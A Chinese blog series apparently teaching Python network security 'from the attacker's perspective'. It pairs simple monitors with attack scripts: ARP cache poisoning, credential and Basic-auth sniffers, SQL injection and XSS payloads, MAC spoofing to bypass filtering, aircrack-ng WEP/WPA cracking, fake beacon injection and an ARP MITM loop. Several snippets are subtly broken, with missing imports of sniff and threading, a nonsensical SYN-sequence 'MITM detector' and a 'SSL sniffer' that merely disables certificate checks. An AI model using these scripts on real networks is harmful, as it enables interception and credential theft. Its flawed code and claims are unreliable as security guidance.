從攻擊者視角掌握 Python 網路安全實戰技巧

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在這個數位時代，網路安全不僅是公司的核心關注點，也是每個使用網路的個體必須面對的挑戰。作為玄貓（BlackCat），我深知了解攻擊者的技術是保護自己和組織的第一步。本文將透過Python例項，帶領大家從攻擊者的視角理解網路安全，並提供實用的防禦策略。

為何需要從攻擊者視角理解網路安全？

在設計和實施網路安全措施時，我發現一個關鍵的洞察：你無法有效保護自己，除非你能夠像攻擊者一樣思考。當我研究這個問題時，起初我以為只要加強防火牆和入侵偵測系統就足夠了，但進一步測試後發現，這些措施如果沒有從攻擊者的角度去評估，其實際效用可能會大打折扣。

從技術角度看，瞭解攻擊者的技術不僅能幫助我們識別潛在的弱點，還能讓我們更好地評估不同安全解決方案的成本與效益。這種方法就像是在下棋，你必須預測對手的每一步，才能制定出最佳的防禦策略。

Python在網路攻擊與防禦中的角色

Python因其簡潔性和強大的函式庫支援，成為了網路安全領域不可或缺的工具。以下是一個簡單的Python指令碼，用於偵測網路中的ARP欺騙攻擊：

import scapy.all as scapy

def arp_monitor(pkt):
    if pkt.haslayer(scapy.ARP):
        if pkt[scapy.ARP].op == 2:  # ARP response
            print(f"ARP Response detected: {pkt[scapy.ARP].psrc} is at {pkt[scapy.ARP].hwsrc}")

sniff(prn=arp_monitor, filter="arp", store=0)

這個指令碼使用Scapy函式庫來監控網路中的ARP封套件。當偵測到ARP回應時，它會輸出來源IP和MAC位元址，幫助識別可能的ARP欺騙活動。這樣的監控可以幫助我們及早發現和應對網路中的異常行為。

實際應用程式場景與防禦策略

在實際應用程式中，瞭解攻擊者的技術可以幫助我們制定更有效的防禦策略。例如，在一個公司網路環境中，我曾經使用類別似的指令碼來監控內部網路流量，從而識別出潛在的內部威脅。這種方法不僅能夠保護公司資源，還能提高整體的網路安全意識。

以下是一個使用Python實作的簡單防火牆規則管理工具：

import iptc

def add_rule(chain, protocol, dport, target):
    rule = iptc.Rule()
    rule.protocol = protocol
    match = rule.create_match(protocol)
    match.dport = str(dport)
    rule.target = iptc.Target(rule, target)
    chain.insert_rule(rule)

table = iptc.Table(iptc.Table.FILTER)
chain = iptc.Chain(table, "INPUT")
add_rule(chain, "tcp", 22, "ACCEPT")
table.commit()

這個指令碼使用iptc函式庫來管理Linux防火牆規則。它建立了一個規則，允許TCP協定的22號連線埠（通常用於SSH）透過。這種工具可以幫助我們快速調整防火牆設定，以應對不同的安全需求。

透過Python例項，我們不僅能夠模擬攻擊者的行為，還能開發出有效的防禦工具。從攻擊者的視角理解網路安全，不僅能夠提升我們的防禦能力，還能讓我們在這個不斷變化的數位世界中保持警覺。希望這篇文章能夠幫助大家更好地理解和應對網路安全挑戰。

網路安全的深層探討：從代理伺服器到HTTP攻擊

在上一篇文章中，我們探討瞭如何從攻擊者的視角理解網路安全，並介紹了Python在這方面的應用程式。本文將繼續探討網路安全的各個層面，從代理伺服器、虛擬私人網路到HTTP攻擊，提供更全面的防禦策略。

代理伺服器伺服器與虛擬私人網路：隱藏與保護

代理伺服器和虛擬私人網路（虛擬私人網路）是網路安全中的重要工具。代理伺服器可以隱藏使用者的真實IP位元址，提供額外的隱私保護，而虛擬私人網路則能夠加密使用者的網路流量，確保資料在傳輸過程中的安全性。

以下是一個使用Python實作的簡單代理伺服器：

import socket

def start_proxy():
    proxy_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    proxy_socket.bind(('localhost', 8080))
    proxy_socket.listen(5)

    print("Proxy server started on port 8080")

    while True:
        client_socket, addr = proxy_socket.accept()
        print(f"Connection from {addr}")

        remote_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        remote_socket.connect(('example.com', 80))

        client_thread = threading.Thread(target=handle_client, args=(client_socket, remote_socket))
        client_thread.start()

def handle_client(client_socket, remote_socket):
    while True:
        request = client_socket.recv(4096)
        if not request:
            break
        remote_socket.sendall(request)

        response = remote_socket.recv(4096)
        if not response:
            break
        client_socket.sendall(response)

    client_socket.close()
    remote_socket.close()

if __name__ == "__main__":
    start_proxy()

這個指令碼建立了一個簡單的代理伺服器，監聽在本地8080連線埠。當客戶端連線時，它會建立一個到遠端伺服器的連線，並在兩者之間轉發資料。這種代理伺服器可以用來隱藏使用者的真實IP位元址，提供基本的隱私保護。

防火牆與中間人攻擊：防禦與偵測

防火牆是網路安全的第一道防線，它可以篩選進出網路的流量，保護內部資源不受外部攻擊。然而，中間人攻擊（Man-in-the-Middle, MITM）是一種常見的攻擊方式，攻擊者可以竊聽或修改透過的資料。

以下是一個使用Python偵測MITM攻擊的指令碼：

import scapy.all as scapy

def detect_mitm(pkt):
    if pkt.haslayer(scapy.TCP) and pkt.haslayer(scapy.IP):
        if pkt[scapy.TCP].flags == 'S' and pkt[scapy.TCP].seq == 0:
            print(f"Possible MITM attack detected: {pkt[scapy.IP].src} -> {pkt[scapy.IP].dst}")

sniff(prn=detect_mitm, filter="tcp", store=0)

這個指令碼使用Scapy函式庫來監控網路中的TCP封套件。當偵測到一個SYN封套件與序列號為0時，它會輸出可能的MITM攻擊資訊。這種監控可以幫助我們及早發現和應對中間人攻擊。

Python基礎與網路攻擊：從簡單到複雜

Python是一種強大的程式語言，適合用於開發網路安全工具。以下是一些Python基礎知識和其在網路攻擊中的應用程式：

Python哲學與資料結構

Python的設計哲學強調簡潔和可讀性，這使得它成為開發網路安全工具的理想選擇。以下是一個使用Python清單和字典來處理資料的範例：

# 使用清單和字典處理資料
data = [
    {"ip": "192.168.1.1", "port": 80},
    {"ip": "192.168.1.2", "port": 443}
]

for item in data:
    print(f"IP: {item['ip']}, Port: {item['port']}")

這個指令碼展示瞭如何使用Python的列表和字典來儲存和處理資料。這種資料結構在開發網路安全工具時非常有用，因為它們可以輕鬆地表示和操作網路中的各種訊息。

函式與控制結構

函式和控制結構是Python程式設計的核心部分，以下是一個使用函式和條件陳述式來檢查IP位元址是否在某個範圍內的範例：

def is_ip_in_range(ip, start_ip, end_ip):
    ip_int = int(''.join([bin(int(x)+256)[3:] for x in ip.split('.')]), 2)
    start_int = int(''.join([bin(int(x)+256)[3:] for x in start_ip.split('.')]), 2)
    end_int = int(''.join([bin(int(x)+256)[3:] for x in end_ip.split('.')]), 2)
    return start_int <= ip_int <= end_int

if is_ip_in_range("192.168.1.5", "192.168.1.1", "192.168.1.10"):
    print("IP is in range")
else:
    print("IP is not in range")

這個指令碼定義了一個函式，用於檢查一個IP位元址是否在指定範圍內。這種檢查在網路安全中非常重要，因為它可以幫助我們識別和篩選來自特定IP範圍的流量。

第二層攻擊：ARP快取毒化與VLAN跳躍

第二層攻擊主要針對網路層面的弱點，如ARP快取毒化和VLAN跳躍。這些攻擊可以讓攻擊者控制網路流量，進行竊聽或資料修改。

以下是一個使用Python實作ARP快取毒化的指令碼：

import scapy.all as scapy

def arp_poison(target_ip, gateway_ip):
    target_mac = get_mac(target_ip)
    gateway_mac = get_mac(gateway_ip)

    packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip)
    scapy.send(packet, verbose=False)

def get_mac(ip):
    arp_request = scapy.ARP(pdst=ip)
    broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
    arp_request_broadcast = broadcast/arp_request
    answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]
    return answered_list[0][1].hwsrc

arp_poison("192.168.1.5", "192.168.1.1")

這個指令碼使用Scapy函式庫來實作ARP快取毒化。它會向目標IP傳送一個偽造的ARP回應，使目標裝置將閘道器的MAC位元址更新為攻擊者的MAC位元址。這種攻擊可以讓攻擊者截獲目標裝置的所有流量。

TCP/IP技巧：從嗅探到偵測

TCP/IP協定是網路通訊的基礎，瞭解其工作原理可以幫助我們更好地防禦各種攻擊。以下是一些常見的TCP/IP技巧及其在Python中的實作：

簡單嗅探器

以下是一個使用Python實作的簡單嗅探器：

import scapy.all as scapy

def packet_sniffer(packet):
    if packet.haslayer(scapy.IP):
        print(f"Source IP: {packet[scapy.IP].src}")
        print(f"Destination IP: {packet[scapy.IP].dst}")
        if packet.haslayer(scapy.TCP):
            print(f"Source Port: {packet[scapy.TCP].sport}")
            print(f"Destination Port: {packet[scapy.TCP].dport}")

sniff(prn=packet_sniffer, store=0)

這個指令碼使用Scapy函式庫來監控網路中的IP封套件，並輸出來源和目標IP位元址以及TCP連線埠資訊。這種嗅探器可以幫助我們識別網路中的例外流量，從而及早發現潛在的攻擊。

密碼嗅探器

以下是一個使用Python實作的簡單密碼嗅探器：

import scapy.all as scapy

def password_sniffer(packet):
    if packet.haslayer(scapy.TCP) and packet.haslayer(scapy.Raw):
        load = packet[scapy.Raw].load
        if b"username" in load and b"password" in load:
            print(f"Possible credentials detected: {load}")

sniff(prn=password_sniffer, filter="tcp", store=0)

這個指令碼使用Scapy函式庫來監控網路中的TCP封套件，並檢查是否包含使用者名稱和密碼訊息。這種嗅探器可以幫助我們識別網路中的明文傳輸的憑證，從而提高網路安全意識。

DNS與WHOIS：網域名稱解析與訊息收集

DNS和WHOIS是網路中的重要服務，它們分別負責網域名稱解析和網域名稱註冊資訊的查詢。以下是一些使用Python實作的DNS和WHOIS工具：

DNS字組典對應器

以下是一個使用Python實作的DNS字組典對應器：

import dns.resolver

def dns_dict_mapper(domain):
    try:
        answers = dns.resolver.resolve(domain, 'A')
        for rdata in answers:
            print(f"{domain} -> {rdata.address}")
    except dns.resolver.NXDOMAIN:
        print(f"{domain} does not exist")

dns_dict_mapper("example.com")

這個指令碼使用dns.resolver函式庫來解析指定網域名稱的A記錄，並輸出網域名稱到IP位元址的對應。這種工具可以幫助我們快速取得網域名稱的IP位元址資訊，從而進行進一步的安全分析。

WHOIS查詢工具

以下是一個使用Python實作的WHOIS查詢工具：

import whois

def whois_query(domain):
    try:
        w = whois.whois(domain)
        print(f"Domain: {domain}")
        print(f"Registrar: {w.registrar}")
        print(f"Creation Date: {w.creation_date}")
        print(f"Expiration Date: {w.expiration_date}")
    except Exception as e:
        print(f"Error querying WHOIS for {domain}: {e}")

whois_query("example.com")

這個指令碼使用whois函式庫來查詢指定網域名稱的註冊資訊，套件括註冊商、建立日期和到期日期等。這種工具可以幫助我們收集網域名稱的相關資訊，從而進行安全評估和風險分析。

HTTP攻擊：從協定概述到實際應用程式

HTTP是網路通訊中最常用的協定之一，瞭解其工作原理可以幫助我們更好地防禦各種HTTP攻擊。以下是一些常見的HTTP攻擊及其在Python中的實作：

HTTP協定概述

HTTP是一種無狀態的協定，用於在客戶端和伺服器之間傳輸超文字資訊。以下是一個簡單的HTTP請求範例：

import requests

response = requests.get("http://example.com")
print(f"Status Code: {response.status_code}")
print(f"Content: {response.text[:100]}...")  # 只顯示前100個字元

這個指令碼使用requests函式庫來傳送一個GET請求到指定URL，並輸出回應狀態碼和內容。這種請求可以幫助我們理解HTTP協定的工作原理，並進行基本的HTTP攻擊測試。

透過這些範例，我們不僅能夠模擬各種網路攻擊，還能開發出有效的防禦工具。從代理伺服器到HTTP攻擊，理解這些技術不僅能夠提升我們的防禦能力，還能讓我們在這個不斷變化的數位世界中保持警覺。希望這篇文章能夠幫助大家更好地理解和應對網路安全挑戰。

HTTP攻擊與防禦：從標頭到SQL注入

在上一篇文章中，我們探討了網路安全的各個層面，從代理伺服器到HTTP協定的基本應用程式。本文將繼續探討HTTP攻擊的各種形式，並提供相應的防禦策略。

HTTP標頭傾印與偽造

HTTP標頭是HTTP請求和回應中的重要組成部分，瞭解如何傾印和偽造這些標頭可以幫助我們識別和防禦相關攻擊。以下是一個使用Python實作的HTTP標頭傾印工具：

import requests

def dump_headers(url):
    response = requests.get(url)
    for header, value in response.headers.items():
        print(f"{header}: {value}")

dump_headers("http://example.com")

這個指令碼使用requests函式庫來傳送一個GET請求到指定URL，並輸出回應中的所有HTTP標頭。這種工具可以幫助我們識別網站的安全設定，如是否啟用了HSTS（HTTP嚴格傳輸安全）。

參照偽造與Cookie操作

參照偽造是一種常見的HTTP攻擊方式，用於欺騙伺服器或其他使用者，而Cookie操作則是另一種重要的攻擊手段。以下是一個使用Python實作的參照偽造工具：

import requests

def referer_spoof(url, referer):
    headers = {'Referer': referer}
    response = requests.get(url, headers=headers)
    print(f"Status Code: {response.status_code}")

referer_spoof("http://example.com", "http://attacker.com")

這個指令碼使用requests函式庫來傳送一個GET請求到指定URL，並設定偽造的Referer標頭。這種攻擊可以用來繞過某些安全檢查或進行流量分析。

以下是一個使用Python操作Cookie的範例：

import requests

def manipulate_cookies(url, cookie_name, cookie_value):
    cookies = {cookie_name: cookie_value}
    response = requests.get(url, cookies=cookies)
    print(f"Status Code: {response.status_code}")

manipulate_cookies("http://example.com", "session_id", "123456789")

這個指令碼使用requests函式庫來傳送一個GET請求到指定URL，並設定指定的Cookie。這種操作可以用來測試網站對Cookie的處理方式，或進行會話劫持攻擊。

HTTP認證嗅探與網站掃描

HTTP認證是一種常見的身分驗證機制，但如果未加密，可能會被攻擊者嗅探。以下是一個使用Python實作的HTTP認證嗅探工具：

import scapy.all as scapy

def http_auth_sniffer(packet):
    if packet.haslayer(scapy.TCP) and packet.haslayer(scapy.Raw):
        load = packet[scapy.Raw].load
        if b"Authorization: Basic" in load:
            print(f"HTTP Auth detected: {load}")

sniff(prn=http_auth_sniffer, filter="tcp", store=0)

這個指令碼使用Scapy函式庫來監控網路中的TCP封套件，並檢查是否包含HTTP基本認證資訊。這種嗅探可以幫助我們識別網路中的明文傳輸的認證資訊，從而提高網路安全意識。

網站掃描是另一種常見的攻擊方式，用於識別網站的弱點。以下是一個使用Python實作的簡單網站掃描工具：

import requests

def scan_website(url):
    try:
        response = requests.get(url)
        print(f"Status Code: {response.status_code}")
        print(f"Server: {response.headers.get('Server', 'Unknown')}")
    except requests.RequestException as e:
        print(f"Error scanning {url}: {e}")

scan_website("http://example.com")

這個指令碼使用requests函式庫來傳送一個GET請求到指定URL，並輸出回應狀態碼和伺服器資訊。這種掃描可以幫助我們識別網站的基本安全設定和潛在弱點。

SQL注入與命令注入

SQL注入是一種常見的Web應用程式攻擊方式，攻擊者可以透過注入惡意的SQL陳述式來竊取或修改資料函式庫中的資料。以下是一個使用Python模擬SQL注入攻擊的範例：

import requests

def sql_injection(url, payload):
    try:
        response = requests.get(url, params={'id': payload})
        if "SQL syntax" in response.text:
            print(f"SQL Injection detected: {payload}")
    except requests.RequestException as e:
        print(f"Error injecting SQL: {e}")

sql_injection("http://example.com/vulnerable_page", "1' OR '1'='1")

這個指令碼使用requests函式庫來傳送一個GET請求到指定URL，並在請求引數中注入SQL陳述式。這種攻擊可以幫助我們識別網站是否存在SQL注入漏洞。

命令注入是另一種常見的攻擊方式，攻擊者可以透過注入惡意的命令來執行任意程式碼。以下是一個使用Python模擬命令注入攻擊的範例：

import subprocess

def command_injection(command):
    try:
        result = subprocess.run(command, shell=True, capture_output=True, text=True)
        print(f"Command Output: {result.stdout}")
    except subprocess.CalledProcessError as e:
        print(f"Error executing command: {e}")

command_injection("ls -la")

這個指令碼使用subprocess函式庫來執行指定的命令。這種攻擊可以幫助我們識別應用程式是否存在命令注入漏洞。

跨網站指令碼攻擊與SSL嗅探

跨網站指令碼攻擊（XSS）是一種常見的Web應用程式攻擊方式，攻擊者可以透過注入惡意的JavaScript程式碼來竊取使用者資訊或進行其他惡意操作。以下是一個使用Python模擬XSS攻擊的範例：

import requests

def xss_attack(url, payload):
    try:
        response = requests.get(url, params={'search': payload})
        if payload in response.text:
            print(f"XSS vulnerability detected: {payload}")
    except requests.RequestException as e:
        print(f"Error injecting XSS: {e}")

xss_attack("http://example.com/search", "<script>alert('XSS')</script>")

這個指令碼使用requests函式庫來傳送一個GET請求到指定URL，並在請求引數中注入JavaScript程式碼。這種攻擊可以幫助我們識別網站是否存在XSS漏洞。

SSL嗅探是一種針對加密連線的攻擊方式，攻擊者可以透過竊聽或修改SSL/TLS流量來竊取敏感資訊。以下是一個使用Python實作的簡單SSL嗅探工具：

import ssl
import socket

def ssl_sniff(host, port):
    context = ssl.create_default_context()
    context.check_hostname = False
    context.verify_mode = ssl.CERT_NONE

    with socket.create_connection((host, port)) as sock:
        with context.wrap_socket(sock, server_hostname=host) as ssock:
            print(f"Connected to {host}:{port}")
            data = ssock.recv(1024)
            print(f"Received: {data}")

ssl_sniff("example.com", 443)

這個指令碼使用ssl和socket函式庫來建立一個到指定主機和連線埠的SSL連線，並接收資料。這種嗅探可以幫助我們識別SSL/TLS連線中的潛在弱點。

代理伺服器掃描與工具介紹

代理伺服器掃描是另一種常見的網路安全技術，用於識別和利用代理伺服器。以下是一個使用Python實作的簡單代理伺服器掃描工具：

import socket

def scan_proxy(host, port):
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(5)
        sock.connect((host, port))
        sock.send(b"GET / HTTP/1.1\r\nHost: example.com\r\n\r\n")
        response = sock.recv(1024)
        if b"HTTP/1.1" in response:
            print(f"Proxy found at {host}:{port}")
        sock.close()
    except socket.error as e:
        print(f"Error scanning proxy at {host}:{port}: {e}")

scan_proxy("localhost", 8080)

這個指令碼使用socket函式庫來連線到指定的主機和連線埠，並傳送一個HTTP請求。如果收到有效的HTTP回應，則表示該主機和連線埠上存在代理伺服器。

以下是一些常用的HTTP攻擊工具及其簡介：

  • SSL Strip：一種用於降級HTTPS連線為HTTP連線的工具，可以用來進欄SSL嗅探攻擊。
  • Cookie Monster：一種用於竊取和操作Cookie的工具，可以用來進行會話劫持攻擊。
  • Sqlmap：一種自動化的SQL注入工具，可以用來識別和利用SQL注入漏洞。
  • W3AF：一種綜合性的Web應用程式安全掃描工具，可以用來識別各種Web應用程式漏洞。

Wi-Fi安全與攻擊

Wi-Fi是現代生活中不可或缺的一部分，但其安全性也面臨著各種挑戰。以下是一些常見的Wi-Fi攻擊及其在Python中的實作：

Wi-Fi掃描與嗅探

Wi-Fi掃描是識別周圍Wi-Fi網路的一種方法，以下是一個使用Python實作的簡單Wi-Fi掃描工具：

import subprocess

def wifi_scan():
    try:
        result = subprocess.run(["iwlist", "wlan0", "scan"], capture_output=True, text=True)
        print(result.stdout)
    except subprocess.CalledProcessError as e:
        print(f"Error scanning Wi-Fi: {e}")

wifi_scan()

這個指令碼使用subprocess函式庫來執行iwlist命令，掃描周圍的Wi-Fi網路。這種掃描可以幫助我們識別潛在的Wi-Fi安全威脅。

Wi-Fi嗅探是另一種常見的Wi-Fi攻擊方式，用於竊聽Wi-Fi流量。以下是一個使用Python實作的簡單Wi-Fi嗅探工具：

import scapy.all as scapy

def wifi_sniffer(packet):
    if packet.haslayer(scapy.Dot11):
        if packet.type == 0 and packet.subtype == 8:  # Beacon frame
            print(f"SSID: {packet.info.decode()}")

sniff(iface="wlan0", prn=wifi_sniffer, store=0)

這個指令碼使用Scapy函式庫來監控Wi-Fi流量，並檢查是否包含Beacon框架。如果檢測到Beacon框架，則輸出SSID資訊。這種嗅探可以幫助我們識別周圍的Wi-Fi網路。

隱藏SSID與MAC位元址篩選

隱藏SSID是一種常見的Wi-Fi安全措施，但它並不能完全保護Wi-Fi網路。以下是一個使用Python檢測隱藏SSID的工具：

import scapy.all as scapy

def detect_hidden_ssid(packet):
    if packet.haslayer(scapy.Dot11ProbeReq):
        if packet.info == b'':
            print("Hidden SSID detected")

sniff(iface="wlan0", prn=detect_hidden_ssid, store=0)

這個指令碼使用Scapy函式庫來監控Wi-Fi流量，並檢查是否包含Probe Request框架。如果檢測到空的SSID資訊，則表示存在隱藏SSID。這種檢測可以幫助我們識別潛在的Wi-Fi安全威脅。

MAC位元址篩選是另一種常見的Wi-Fi安全措施，但它也可以被繞過。以下是一個使用Python繞過MAC位元址篩選的工具：

import subprocess

def spoof_mac(interface, new_mac):
    try:
        subprocess.run(["ifconfig", interface, "down"], check=True)
        subprocess.run(["ifconfig", interface, "hw", "ether", new_mac], check=True)
        subprocess.run(["ifconfig", interface, "up"], check=True)
        print(f"MAC address spoofed to {new_mac}")
    except subprocess.CalledProcessError as e:
        print(f"Error spoofing MAC address: {e}")

spoof_mac("wlan0", "00:11:22:33:44:55")

這個指令碼使用subprocess函式庫來執行ifconfig命令，將指定介面的MAC位元址更改為新的MAC位元址。這種操作可以幫助我們繞過MAC位元址篩選，從而存取受保護的Wi-Fi網路。

WEP、WPA與WPA2破解

WEP、WPA和WPA2是常見的Wi-Fi加密協定，但它們也存在各種弱點。以下是一些使用Python實作的簡單破解工具：

WEP破解

import subprocess

def wep_crack(cap_file, wordlist):
    try:
        result = subprocess.run(["aircrack-ng", "-w", wordlist, cap_file], capture_output=True, text=True)
        print(result.stdout)
    except subprocess.CalledProcessError as e:
        print(f"Error cracking WEP: {e}")

wep_crack("capture.cap", "wordlist.txt")

這個指令碼使用subprocess函式庫來執行aircrack-ng命令，使用指定的字典檔案破解WEP加密。這種破解可以幫助我們識別WEP加密中的弱點。

WPA/WPA2破解

import subprocess

def wpa_crack(cap_file, wordlist):
    try:
        result = subprocess.run(["aircrack-ng", "-w", wordlist, "-b", "00:11:22:33:44:55", cap_file], capture_output=True, text=True)
        print(result.stdout)
    except subprocess.CalledProcessError as e:
        print(f"Error cracking WPA/WPA2: {e}")

wpa_crack("capture.cap", "wordlist.txt")

這個指令碼使用subprocess函式庫來執行aircrack-ng命令，使用指定的字典檔案破解WPA/WPA2加密。這種破解可以幫助我們識別WPA/WPA2加密中的弱點。

Wi-Fi封套件注入與中間人攻擊

Wi-Fi封包注入是一種常見的Wi-Fi攻擊方式，用於注入惡意的封套件。以下是一個使用Python實作的簡單Wi-Fi封包注入工具：

import scapy.all as scapy

def inject_packet(interface, ssid):
    packet = scapy.Dot11(type=0, subtype=8, addr1="ff:ff:ff:ff:ff:ff", addr2="00:11:22:33:44:55", addr3="00:11:22:33:44:55")/scapy.Dot11Beacon(cap="ESS")/scapy.Dot11Elt(ID="SSID", info=ssid.encode())
    scapy.sendp(packet, iface=interface, count=100)

inject_packet("wlan0", "FakeNetwork")

這個指令碼使用Scapy函式庫來建立一個Beacon框架，並將其注入到指定介面中。這種注入可以幫助我們建立假的Wi-Fi網路，從而進行中間人攻擊。

中間人攻擊（MITM）是一種常見的Wi-Fi攻擊方式，用於竊聽或修改Wi-Fi流量。以下是一個使用Python實作的簡單Wi-Fi MITM工具：

import scapy.all as scapy

def wifi_mitm(interface, target_mac, gateway_mac):
    packet = scapy.ARP(op=2, pdst="192.168.1.0/24", hwdst=target_mac, psrc="192.168.1.1")
    scapy.sendp(packet, iface=interface, loop=1)

wifi_mitm("wlan0", "00:11:22:33:44:55", "66:77:88:99:AA:BB")

這個指令碼使用Scapy函式庫來傳送ARP封套件，將目標裝置的ARP快取毒化，使其將閘道器的MAC位元址更新為攻擊者的MAC位元址。這種攻擊可以讓我們截獲目標裝置的所有流量，從而進行中間人攻擊。

無線入侵偵測與工具介紹

無線入侵偵測系統（WIDS）是保護Wi-Fi網路的一種重要手段，以下是一些常用的Wi-Fi安全工具及其簡介：

  • WiFuzz：一種用於模糊測試Wi-Fi協定的工具，可以用來識別Wi-Fi協定中的弱點。
  • Pyrit：一種用於加速WPA/WPA2破解的工具，可以用來提高破解效率。
  • AirXploit：一種綜合性的Wi-Fi安全測試工具，可以用來識別各種Wi-Fi安全威脅。
玄貓

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技術愛好者，專注於分享程式開發、雲端技術與 AI 應用的心得體會。